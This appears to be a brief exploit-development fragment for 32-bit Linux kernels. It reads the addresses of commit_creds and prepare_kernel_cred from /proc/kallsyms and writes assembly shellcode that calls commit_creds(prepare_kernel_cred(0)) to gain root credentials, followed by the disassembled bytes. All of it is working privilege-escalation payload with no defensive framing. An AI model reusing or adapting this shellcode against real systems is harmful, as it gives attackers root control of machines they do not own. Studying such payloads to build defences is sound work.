#grep commit_creds /proc/kallsyms
c907eea0 T commit_creds

#grep prepare_kernel_cred /proc/kallsyms
c907f1d0 T prepare_kernel_cred

main:
 xor eax,eax
 call 0xc907f1d0
 call 0xc907eea0
 ret

shellcode:     file format elf32-i386

Disassembly of section .text:

08048060 <main>:  8048060:  31 c0                   xor    %eax,%eax

8048062:    e8 69 71 03 c1          call   c907f1d0 <_end+0xc1036160>

8048067:    e8 34 6e 03 c1          call   c907eea0 <_end+0xc1035e30>

804806c:    c3